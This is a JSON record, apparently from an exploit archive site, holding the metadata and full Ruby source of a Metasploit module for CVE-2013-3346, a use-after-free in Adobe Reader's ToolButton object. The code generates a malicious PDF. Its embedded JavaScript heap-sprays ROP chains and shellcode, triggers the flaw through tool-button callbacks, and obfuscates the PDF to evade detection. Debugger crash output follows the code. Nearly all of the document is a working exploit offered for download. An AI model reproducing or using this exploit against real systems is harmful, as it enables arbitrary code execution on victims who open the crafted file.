{"exploit":{"id":"MSF-windows--fileformat--adobe_toolbutton","name":"Adobe Reader ToolButton Use After Free","description":"This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6 and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where the cEnable callback can be used to early free the object memory. Later use of the object allows triggering the use after free condition. This module has been tested successfully on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in November, 2013.","cves":["CVE-2013-3346"],"author":"Soroush Dalili, Unknown, sinn3r, juan vazquez","published":"2013-08-08","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/windows/fileformat/adobe_toolbutton.rb","path":"modules/exploits/windows/fileformat/adobe_toolbutton.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"adobe_toolbutton.rb","vulnerabilities":[{"id":"CVE-2013-3346","state":"PUBLISHED","title":null,"titleSource":null,"description":"Adobe Reader and Acrobat 9.x before 9.5.5, 10.x before 10.1.7, and 11.x before 11.0.03 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2013-2718, CVE-2013-2719, CVE-2013-2720, CVE-2013-2721, CVE-2013-2722, CVE-2013-2723, CVE-2013-2725, CVE-2013-2726, CVE-2013-2731, CVE-2013-2732, CVE-2013-2734, CVE-2013-2735, CVE-2013-2736, CVE-2013-3337, CVE-2013-3338, CVE-2013-3339, CVE-2013-3340, and CVE-2013-3341.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3346","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3346"},"updatedAt":"2025-11-21T15:52:39.068Z","retrievedAt":"2026-11-26T12:51:30.240Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--fileformat--adobe_toolbutton.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--fileformat--adobe_toolbutton","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--fileformat--adobe_toolbutton/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--fileformat--adobe_toolbutton/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::FILEFORMAT\n  include Msf::Exploit::RopDb\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe Reader ToolButton Use After Free',\n        'Description' => %q{\n          This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6\n          and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where\n          the cEnable callback can be used to early free the object memory. Later use of the object\n          allows triggering the use after free condition. This module has been tested successfully\n          on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in\n          November, 2013.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Soroush Dalili', # Vulnerability discovery\n          'Unknown', # Exploit in the wild\n          'sinn3r', # Metasploit module\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2013-3346' ],\n          [ 'OSVDB', '96745' ],\n          [ 'ZDI', '13-212' ],\n          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],\n          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]\n        ],\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP / Adobe Reader 9/10/11', {}],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2013-08-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),\n      ]\n    )\n  end\n\n  def exploit\n    js_data = make_js\n\n    # Create the pdf\n    pdf = make_pdf(js_data)\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file...\")\n\n    file_create(pdf)\n  end\n\n  def make_js\n    # CreateFileMappingA + MapViewOfFile + memcpy rop chain\n    rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))\n    rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))\n    rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))\n    escaped_payload = Rex::Text.to_unescape(payload.encoded)\n\n    js = %Q|\nfunction heapSpray(str, str_addr, r_addr) {\n  var aaa = unescape(\"%u0c0c\");\n  aaa += aaa;\n  while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;\n  var i1 = r_addr - 0x24;\n  var bbb = aaa.substring(0, i1 / 2);\n  var sa = str_addr;\n  while (sa.length < (0x0c0c - r_addr)) sa += sa;\n  bbb += sa;\n  bbb += aaa;\n  var i11 = 0x0c0c - 0x24;\n  bbb = bbb.substring(0, i11 / 2);\n  bbb += str;\n  bbb += aaa;\n  var i2 = 0x4000 + 0xc000;\n  var ccc = bbb.substring(0, i2 / 2);\n  while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;\n  var i3 = (0x1020 - 0x08) / 2;\n  var ddd = ccc.substring(0, 0x80000 - i3);\n  var eee = new Array();\n  for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + \"s\";\n  return;\n}\nvar shellcode = unescape(\"#{escaped_payload}\");\nvar executable = \"\";\nvar rop9 = unescape(\"#{rop_9}\");\nvar rop10 = unescape(\"#{rop_10}\");\nvar rop11 = unescape(\"#{rop_11}\");\nvar r11 = false;\nvar vulnerable = true;\n\nvar obj_size;\nvar rop;\nvar ret_addr;\nvar rop_addr;\nvar r_addr;\n\nif (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {\n  obj_size = 0x330 + 0x1c;\n  rop = rop9;\n  ret_addr = unescape(\"%ua83e%u4a82\");\n  rop_addr = unescape(\"%u08e8%u0c0c\");\n  r_addr = 0x08e8;\n} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {\n  obj_size = 0x360 + 0x1c;\n  rop = rop10;\n  rop_addr = unescape(\"%u08e4%u0c0c\");\n  r_addr = 0x08e4;\n  ret_addr = unescape(\"%ua8df%u4a82\");\n} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {\n  r11 = true;\n  obj_size = 0x370;\n  rop = rop11;\n  rop_addr = unescape(\"%u08a8%u0c0c\");\n  r_addr = 0x08a8;\n  ret_addr = unescape(\"%u8003%u4a84\");\n} else {\n  vulnerable = false;\n}\n\nif (vulnerable) {\n  var payload = rop + shellcode;\n  heapSpray(payload, ret_addr, r_addr);\n\n  var part1 = \"\";\n  if (!r11) {\n    for (i = 0; i < 0x1c / 2; i++) part1 += unescape(\"%u4141\");\n  }\n  part1 += rop_addr;\n  var part2 = \"\";\n  var part2_len = obj_size - part1.length * 2;\n  for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape(\"%u4141\");\n  var arr = new Array();\n\n  removeButtonFunc = function () {\n    app.removeToolButton({\n        cName: \"evil\"\n    });\n\n    for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);\n  }\n\n  addButtonFunc = function () {\n    app.addToolButton({\n      cName: \"xxx\",\n      cExec: \"1\",\n      cEnable: \"removeButtonFunc();\"\n    });\n  }\n\n  app.addToolButton({\n    cName: \"evil\",\n    cExec: \"1\",\n    cEnable: \"addButtonFunc();\"\n  });\n}\n|\n\n    js\n  end\n\n  def random_non_ascii_string(count)\n    result = \"\"\n    count.times do\n      result << (rand(128) + 128).chr\n    end\n    result\n  end\n\n  def io_def(id)\n    \"%d 0 obj \\n\" % id\n  end\n\n  def io_ref(id)\n    \"%d 0 R\" % id\n  end\n\n  # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\n  def n_obfu(str)\n    # return str\n    result = \"\"\n    str.scan(/./u) do |c|\n      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n        result << \"#%x\" % c.unpack(\"C*\")[0]\n      else\n        result << c\n      end\n    end\n    result\n  end\n\n  def ascii_hex_whitespace_encode(str)\n    result = \"\"\n    whitespace = \"\"\n    str.each_byte do |b|\n      result << whitespace << \"%02x\" % b\n      whitespace = \" \" * (rand(3) + 1)\n    end\n    result << \">\"\n  end\n\n  def make_pdf(js)\n    xref = []\n    eol = \"\\n\"\n    endobj = \"endobj\" << eol\n\n    # Randomize PDF version?\n    pdf = \"%PDF-1.5\" << eol\n    pdf << \"%\" << random_non_ascii_string(4) << eol\n\n    # catalog\n    xref << pdf.length\n    pdf << io_def(1) << n_obfu(\"<<\") << eol\n    pdf << n_obfu(\"/Pages \") << io_ref(2) << eol\n    pdf << n_obfu(\"/Type /Catalog\") << eol\n    pdf << n_obfu(\"/OpenAction \") << io_ref(4) << eol\n    # The AcroForm is required to get icucnv36.dll / icucnv40.dll to load\n    pdf << n_obfu(\"/AcroForm \") << io_ref(6) << eol\n    pdf << n_obfu(\">>\") << eol\n    pdf << endobj\n\n    # pages array\n    xref << pdf.length\n    pdf << io_def(2) << n_obfu(\"<<\") << eol\n    pdf << n_obfu(\"/Kids [\") << io_ref(3) << \"]\" << eol\n    pdf << n_obfu(\"/Count 1\") << eol\n    pdf << n_obfu(\"/Type /Pages\") << eol\n    pdf << n_obfu(\">>\") << eol\n    pdf << endobj\n\n    # page 1\n    xref << pdf.length\n    pdf << io_def(3) << n_obfu(\"<<\") << eol\n    pdf << n_obfu(\"/Parent \") << io_ref(2) << eol\n    pdf << n_obfu(\"/Type /Page\") << eol\n    pdf << n_obfu(\">>\") << eol # end obj dict\n    pdf << endobj\n\n    # js action\n    xref << pdf.length\n    pdf << io_def(4) << n_obfu(\"<<\")\n    pdf << n_obfu(\"/Type/Action/S/JavaScript/JS \") + io_ref(5)\n    pdf << n_obfu(\">>\") << eol\n    pdf << endobj\n\n    # js stream\n    xref << pdf.length\n    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))\n    pdf << io_def(5) << n_obfu(\"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>\" % compressed.length) << eol\n    pdf << \"stream\" << eol\n    pdf << compressed << eol\n    pdf << \"endstream\" << eol\n    pdf << endobj\n\n    ###\n    # The following form related data is required to get icucnv36.dll / icucnv40.dll to load\n    ###\n\n    # form object\n    xref << pdf.length\n    pdf << io_def(6)\n    pdf << n_obfu(\"<</XFA \") << io_ref(7) << n_obfu(\">>\") << eol\n    pdf << endobj\n\n    # form stream\n    xfa = <<~EOF\n      <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n      <xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n      <config xmlns=\"http://www.xfa.org/schema/xci/2.6/\">\n      <present><pdf><interactive>1</interactive></pdf></present>\n      </config>\n      <template xmlns=\"http://www.xfa.org/schema/xfa-template/2.6/\">\n      <subform name=\"form1\" layout=\"tb\" locale=\"en_US\">\n      <pageSet></pageSet>\n      </subform></template></xdp:xdp>\n    EOF\n\n    xref << pdf.length\n    pdf << io_def(7) << n_obfu(\"<</Length %s>>\" % xfa.length) << eol\n    pdf << \"stream\" << eol\n    pdf << xfa << eol\n    pdf << \"endstream\" << eol\n    pdf << endobj\n\n    ###\n    # end form stuff for icucnv36.dll / icucnv40.dll\n    ###\n\n    # trailing stuff\n    xrefPosition = pdf.length\n    pdf << \"xref\" << eol\n    pdf << \"0 %d\" % (xref.length + 1) << eol\n    pdf << \"0000000000 65535 f\" << eol\n    xref.each do |index|\n      pdf << \"%010d 00000 n\" % index << eol\n    end\n\n    pdf << \"trailer\" << eol\n    pdf << n_obfu(\"<</Size %d/Root \" % (xref.length + 1)) << io_ref(1) << \">>\" << eol\n\n    pdf << \"startxref\" << eol\n    pdf << xrefPosition.to_s() << eol\n\n    pdf << \"%%EOF\" << eol\n    pdf\n  end\nend\n\n=begin\n\n* crash Adobe Reader 10.1.4\n\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001\neip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0         nv up ei pl nz ac po cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213\nAcroRd32_60000000!PDFLTerm+0xbb7cd:\n604d3a4d ff9028030000    call    dword ptr [eax+328h] ds:0023:0c0c0c0c=????????\n\n* crash Adobe Reader 11.0.2\n\n(940.d70): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\n*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\\Program Files\\Adobe\\Reader 11.0\\Reader\\AcroRd32.dll -\neax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000\neip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0         nv up ei pl nz ac po cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210213\nAcroRd32_60000000!DllCanUnloadNow+0x1493ae:\n60197b9b ff9064030000    call    dword ptr [eax+364h] ds:0023:0c0c0c0c=????????\n\n=end\n","sha256":"2482eb0753815ab87905ede965a3047d71c1f5c848fcad19beff2f368ee9210e","bytes":10340,"fetchedAt":"2026-11-26T17:16:23.516Z","encoding":"utf-8 (display only; download retains original bytes)"}